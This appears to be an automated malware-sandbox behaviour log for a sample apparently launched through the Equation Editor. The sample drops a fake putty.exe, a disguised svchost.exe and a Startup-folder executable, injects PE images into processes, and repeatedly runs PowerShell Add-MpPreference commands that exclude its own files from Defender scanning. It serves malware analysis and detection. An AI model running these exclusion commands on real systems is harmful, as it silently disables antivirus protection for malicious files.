Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe	Memory written: C:\Users\user\AppData\Roaming\putty.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Memory written: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Memory written: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe base: 400000 value starts with: 4D5A

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1132
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 1132
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe

Source: C:\Users\user\AppData\Roaming\putty.exe	Queries volume information: C:\Users\user\AppData\Roaming\putty.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\putty.exe	Queries volume information: C:\Users\user\AppData\Roaming\putty.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\putty.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
